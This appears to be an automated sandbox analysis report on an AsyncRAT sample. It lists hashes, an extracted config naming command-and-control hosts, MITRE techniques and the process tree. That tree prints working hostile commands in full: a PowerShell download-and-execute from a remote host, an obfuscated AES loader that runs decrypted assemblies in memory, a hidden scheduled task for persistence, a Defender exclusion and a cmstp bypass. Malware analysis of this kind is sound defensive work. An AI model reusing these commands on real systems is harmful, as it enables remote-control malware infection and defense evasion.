asyncrat | 1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

Analysis

max time kernel
596s
max time network
600s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
09-12-2024 20:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes

delay
3
install
false
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral3/memory/1172-118-0x00000000075F0000-0x0000000007602000-memory.dmp	family_asyncrat

Blocklisted process makes network request 64 IoCs

flow	pid	Process
2	4936	powershell.exe
4	1172	powershell.exe
5	1172	powershell.exe
6	1172	powershell.exe
8	1172	powershell.exe
9	1172	powershell.exe
10	1172	powershell.exe
11	1172	powershell.exe
12	1172	powershell.exe
13	1172	powershell.exe
14	1172	powershell.exe
15	1172	powershell.exe
16	1172	powershell.exe
17	1172	powershell.exe
18	1172	powershell.exe
19	1172	powershell.exe
20	1172	powershell.exe
21	1172	powershell.exe
22	1172	powershell.exe
23	1172	powershell.exe
24	1172	powershell.exe
25	1172	powershell.exe
26	1172	powershell.exe
27	1172	powershell.exe
28	1172	powershell.exe
29	1172	powershell.exe
30	1172	powershell.exe
31	1172	powershell.exe
32	1172	powershell.exe
33	1172	powershell.exe
34	1172	powershell.exe
35	1172	powershell.exe
36	1172	powershell.exe
38	1172	powershell.exe
42	1172	powershell.exe
43	1172	powershell.exe
44	1172	powershell.exe
45	1172	powershell.exe
46	1172	powershell.exe
47	1172	powershell.exe
48	1172	powershell.exe
49	1172	powershell.exe
51	1172	powershell.exe
52	1172	powershell.exe
53	1172	powershell.exe
54	1172	powershell.exe
56	1172	powershell.exe
57	1172	powershell.exe
58	1172	powershell.exe
59	1172	powershell.exe
60	1172	powershell.exe
61	1172	powershell.exe
62	1172	powershell.exe
63	1172	powershell.exe
64	1172	powershell.exe
65	1172	powershell.exe
66	1172	powershell.exe
67	1172	powershell.exe
68	1172	powershell.exe
69	1172	powershell.exe
70	1172	powershell.exe
71	1172	powershell.exe
72	1172	powershell.exe
73	1172	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4936	powershell.exe
968	powershell.exe
4156	powershell.exe
2224	powershell.exe
1172	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1556	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-556537508-2730415644-482548075-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4936	powershell.exe
4936	powershell.exe
968	powershell.exe
968	powershell.exe
4156	powershell.exe
4156	powershell.exe
2224	powershell.exe
2224	powershell.exe
1172	powershell.exe
1172	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe
Token: SeDebugPrivilege	1556	taskkill.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	2224	powershell.exe
Token: SeSecurityPrivilege	2224	powershell.exe
Token: SeTakeOwnershipPrivilege	2224	powershell.exe
Token: SeLoadDriverPrivilege	2224	powershell.exe
Token: SeSystemProfilePrivilege	2224	powershell.exe
Token: SeSystemtimePrivilege	2224	powershell.exe
Token: SeProfSingleProcessPrivilege	2224	powershell.exe
Token: SeIncBasePriorityPrivilege	2224	powershell.exe
Token: SeCreatePagefilePrivilege	2224	powershell.exe
Token: SeBackupPrivilege	2224	powershell.exe
Token: SeRestorePrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeSystemEnvironmentPrivilege	2224	powershell.exe
Token: SeRemoteShutdownPrivilege	2224	powershell.exe
Token: SeUndockPrivilege	2224	powershell.exe
Token: SeManageVolumePrivilege	2224	powershell.exe
Token: 33	2224	powershell.exe
Token: 34	2224	powershell.exe
Token: 35	2224	powershell.exe
Token: 36	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	2224	powershell.exe
Token: SeSecurityPrivilege	2224	powershell.exe
Token: SeTakeOwnershipPrivilege	2224	powershell.exe
Token: SeLoadDriverPrivilege	2224	powershell.exe
Token: SeSystemProfilePrivilege	2224	powershell.exe
Token: SeSystemtimePrivilege	2224	powershell.exe
Token: SeProfSingleProcessPrivilege	2224	powershell.exe
Token: SeIncBasePriorityPrivilege	2224	powershell.exe
Token: SeCreatePagefilePrivilege	2224	powershell.exe
Token: SeBackupPrivilege	2224	powershell.exe
Token: SeRestorePrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeSystemEnvironmentPrivilege	2224	powershell.exe
Token: SeRemoteShutdownPrivilege	2224	powershell.exe
Token: SeUndockPrivilege	2224	powershell.exe
Token: SeManageVolumePrivilege	2224	powershell.exe
Token: 33	2224	powershell.exe
Token: 34	2224	powershell.exe
Token: 35	2224	powershell.exe
Token: 36	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	2224	powershell.exe
Token: SeSecurityPrivilege	2224	powershell.exe
Token: SeTakeOwnershipPrivilege	2224	powershell.exe
Token: SeLoadDriverPrivilege	2224	powershell.exe
Token: SeSystemProfilePrivilege	2224	powershell.exe
Token: SeSystemtimePrivilege	2224	powershell.exe
Token: SeProfSingleProcessPrivilege	2224	powershell.exe
Token: SeIncBasePriorityPrivilege	2224	powershell.exe
Token: SeCreatePagefilePrivilege	2224	powershell.exe
Token: SeBackupPrivilege	2224	powershell.exe
Token: SeRestorePrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeSystemEnvironmentPrivilege	2224	powershell.exe
Token: SeRemoteShutdownPrivilege	2224	powershell.exe
Token: SeUndockPrivilege	2224	powershell.exe
Token: SeManageVolumePrivilege	2224	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 980 wrote to memory of 4168	980	WScript.exe	77
PID 980 wrote to memory of 4168	980	WScript.exe	77
PID 4168 wrote to memory of 4936	4168	cmd.exe	79
PID 4168 wrote to memory of 4936	4168	cmd.exe	79
PID 4936 wrote to memory of 4564	4936	powershell.exe	81
PID 4936 wrote to memory of 4564	4936	powershell.exe	81
PID 4564 wrote to memory of 3012	4564	csc.exe	82
PID 4564 wrote to memory of 3012	4564	csc.exe	82
PID 4936 wrote to memory of 4080	4936	powershell.exe	83
PID 4936 wrote to memory of 4080	4936	powershell.exe	83
PID 980 wrote to memory of 1652	980	WScript.exe	89
PID 980 wrote to memory of 1652	980	WScript.exe	89
PID 1652 wrote to memory of 4156	1652	cmd.exe	91
PID 1652 wrote to memory of 4156	1652	cmd.exe	91
PID 1652 wrote to memory of 4156	1652	cmd.exe	91
PID 4156 wrote to memory of 2224	4156	powershell.exe	92
PID 4156 wrote to memory of 2224	4156	powershell.exe	92
PID 4156 wrote to memory of 2224	4156	powershell.exe	92
PID 4156 wrote to memory of 3204	4156	powershell.exe	95
PID 4156 wrote to memory of 3204	4156	powershell.exe	95
PID 4156 wrote to memory of 3204	4156	powershell.exe	95
PID 3204 wrote to memory of 1532	3204	WScript.exe	96
PID 3204 wrote to memory of 1532	3204	WScript.exe	96
PID 3204 wrote to memory of 1532	3204	WScript.exe	96
PID 1532 wrote to memory of 1172	1532	cmd.exe	98
PID 1532 wrote to memory of 1172	1532	cmd.exe	98
PID 1532 wrote to memory of 1172	1532	cmd.exe	98

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4936
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yr4ph2hr\yr4ph2hr.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4564
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8C23.tmp" "c:\Users\Admin\AppData\Local\Temp\yr4ph2hr\CSCB5DC6DBA7E6F4F4385FEDD257C377AA7.TMP"
        5⤵
        
        PID:3012
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\fhqkdnnd.inf
      4⤵
      PID:4080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_366_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx366.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2224
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx366.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3204
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx366.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1532
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx366.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1172

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:968

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
8ba8fc1034d449222856ea8fa2531e28

SHA1
7570fe1788e57484c5138b6cead052fbc3366f3e

SHA256
2e72609b2c93e0660390a91c8e5334d62c7b17cd40f9ae8afcc767d345cc12f2

SHA512
7ee42c690e5db3818e445fa8f50f5db39973f8caf5fce0b4d6261cb5a637e63f966c5f1734ee743b9bf30bcf8d18aa70ceb65ed41035c2940d4c6d34735e0d7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
3216dd7582dc4b016fdca2c2bb5794d1

SHA1
338f47f02e409611a483599ad55b21e0f1dbbf0f

SHA256
afe3bb74e6e421b49987d487b0f58a1c826788b778a4eb8575261687d84cae41

SHA512
07f8eb5953ebe1291c11277cc4f579a677a06d6fabf23edc1671ac292e8fe2b1889804ca89d5d1610c015a38799157b808a956c0d129acb6aa7d4f719e1728ea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e5c299f7ae92dadb30bebfa9b6105a3b

SHA1
e73e3e3db66fadd4a58b43cec67d4e73bc03a61d

SHA256
aa232880718322176258c314889be71d9e8fd8c68bbc32de3e8be6a61bd3e9e0

SHA512
c29ceec6fc9576df178405c46f8c058dc977d74da6f8debc198a66462d07f8ff15a6f9fabc571c8cad5d0c4fe0b3b0d07995f2b065f84563915e525cef96eba1

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8C23.tmp

Filesize
1KB

MD5
136db24ba2909ae1ca08b1f846911781

SHA1
77d8aa59c0f49afe6e90a60582ea56dff9c46114

SHA256
2d6d08fcd8c37bc5e4d2af9c20f19363f015a1bb412c9d51fc983ff3d1d05888

SHA512
b1b9d99fed3d172c707ba021453bab1f9cd22a620490e3706d3c83b71dfcd09625d0929628b23a32ae5cddb9b0e529498c910c8599d992979bf47d38f7cb8579

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_phfcgzet.1sj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\yr4ph2hr\yr4ph2hr.dll

Filesize
4KB

MD5
5416fc28ee0ab9641f6915a9b23b5726

SHA1
9123bcc0d9692769a85044bafeb09d9dc60def77

SHA256
a42d9afef2bd96e883150a82b0e21e1e319e5784742249527852ee2ad4db0268

SHA512
2248a49e5af5d7c5a77010cc03df0e3982ab745424c8f39d03a41eff8faea640df6af12268bece7177589b15aff54560aceb36769886a1ad7771fd53b5b9aad5

Download Submit
C:\Users\Admin\AppData\Roaming\latencyx366.vbs

Filesize
111B

MD5
98f99b4e568053d6e3a84874d2650495

SHA1
80b54c89d19f40b1b834706a01dc1bb8d4616055

SHA256
adbea4332e3473aa8b5e1f6134d9f493ae14653707ad067651476ae4abbb162c

SHA512
e1da0a1bef5173851c5b52e897f0531dc463d950389c0fad798d16843e984238c86b25a3ae9eb25113ac7a9ddad6c752c010a0e6075ab1d6c066541bb1923ddf

Download Submit
C:\windows\temp\fhqkdnnd.inf

Filesize
683B

MD5
a4fd12b94ad4ac06fabd8dd56dd5ff2b

SHA1
940d129205e04ba31b10a72d7a7a236a9ed0488b

SHA256
fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

SHA512
a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yr4ph2hr\CSCB5DC6DBA7E6F4F4385FEDD257C377AA7.TMP

Filesize
652B

MD5
298fa6b1d612bc1faf080d0d49044aa5

SHA1
720d0aa78dff24acedc87114ae008baef485c9e5

SHA256
a9f8dc9321e5c9c87d816e339d3106f0c54be6754b4084ccabb798082317457f

SHA512
9af833bcb41e1b25cc0ef84e269c1708f20e137f898132e8be4694b605b63bef76e96eb9fd6b1223714bd61bb669074030c73204afd6483ffa876817fa40dc9d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yr4ph2hr\yr4ph2hr.0.cs

Filesize
2KB

MD5
897ac4306f2a2524bc3c441bd00c72b9

SHA1
1703dbf9a2a78491dfd6685540d4691839e33b69

SHA256
a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

SHA512
2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yr4ph2hr\yr4ph2hr.cmdline

Filesize
369B

MD5
e920c4a0c375a6b1f524f808f0607f87

SHA1
f06562e7e925e6d370c2451f3a9019870b90a36a

SHA256
0fc9db279996b60f248ed66985629d5aadeedf3794588af22f10ef476d2accac

SHA512
31f670a071dbfd7c430e67e4cd0c432d586b5ea07b7b2545c8307cc7a450a12800dd3bcc3808dbe3393d836892e4ace9050405d89d5f777765e0f48c86563f84

Download Submit
memory/1172-118-0x00000000075F0000-0x0000000007602000-memory.dmp

Filesize
72KB

Download
memory/2224-97-0x0000000007960000-0x00000000079F6000-memory.dmp

Filesize
600KB

Download
memory/2224-84-0x0000000007470000-0x00000000074A4000-memory.dmp

Filesize
208KB

Download
memory/2224-96-0x0000000007750000-0x000000000775A000-memory.dmp

Filesize
40KB

Download
memory/2224-95-0x00000000074B0000-0x0000000007554000-memory.dmp

Filesize
656KB

Download
memory/2224-94-0x0000000006860000-0x000000000687E000-memory.dmp

Filesize
120KB

Download
memory/2224-98-0x00000000078F0000-0x0000000007901000-memory.dmp

Filesize
68KB

Download
memory/2224-85-0x00000000710E0000-0x000000007112C000-memory.dmp

Filesize
304KB

Download
memory/4156-74-0x0000000008A00000-0x0000000008FA6000-memory.dmp

Filesize
5.6MB

Download
memory/4156-73-0x0000000007A50000-0x0000000007A5E000-memory.dmp

Filesize
56KB

Download
memory/4156-55-0x0000000005960000-0x00000000059C6000-memory.dmp

Filesize
408KB

Download
memory/4156-56-0x0000000006020000-0x0000000006086000-memory.dmp

Filesize
408KB

Download
memory/4156-65-0x0000000006090000-0x00000000063E7000-memory.dmp

Filesize
3.3MB

Download
memory/4156-67-0x0000000006440000-0x000000000645E000-memory.dmp

Filesize
120KB

Download
memory/4156-68-0x0000000006600000-0x000000000664C000-memory.dmp

Filesize
304KB

Download
memory/4156-69-0x0000000007DD0000-0x000000000844A000-memory.dmp

Filesize
6.5MB

Download
memory/4156-70-0x0000000006B10000-0x0000000006B2A000-memory.dmp

Filesize
104KB

Download
memory/4156-71-0x0000000006B70000-0x0000000006B78000-memory.dmp

Filesize
32KB

Download
memory/4156-72-0x0000000007800000-0x000000000789C000-memory.dmp

Filesize
624KB

Download
memory/4156-54-0x00000000057C0000-0x00000000057E2000-memory.dmp

Filesize
136KB

Download
memory/4156-52-0x00000000031B0000-0x00000000031E6000-memory.dmp

Filesize
216KB

Download
memory/4156-53-0x00000000059F0000-0x000000000601A000-memory.dmp

Filesize
6.2MB

Download
memory/4936-0-0x00007FFFEFC43000-0x00007FFFEFC45000-memory.dmp

Filesize
8KB

Download
memory/4936-47-0x00007FFFEFC40000-0x00007FFFF0702000-memory.dmp

Filesize
10.8MB

Download
memory/4936-43-0x00007FFFEFC40000-0x00007FFFF0702000-memory.dmp

Filesize
10.8MB

Download
memory/4936-42-0x00007FFFEFC43000-0x00007FFFEFC45000-memory.dmp

Filesize
8KB

Download
memory/4936-26-0x00000296776F0000-0x00000296776F8000-memory.dmp

Filesize
32KB

Download
memory/4936-13-0x00000296773B0000-0x00000296773CC000-memory.dmp

Filesize
112KB

Download
memory/4936-12-0x00007FFFEFC40000-0x00007FFFF0702000-memory.dmp

Filesize
10.8MB

Download
memory/4936-11-0x00007FFFEFC40000-0x00007FFFF0702000-memory.dmp

Filesize
10.8MB

Download
memory/4936-10-0x00007FFFEFC40000-0x00007FFFF0702000-memory.dmp

Filesize
10.8MB

Download
memory/4936-1-0x000002965EEB0000-0x000002965EED2000-memory.dmp

Filesize
136KB

Download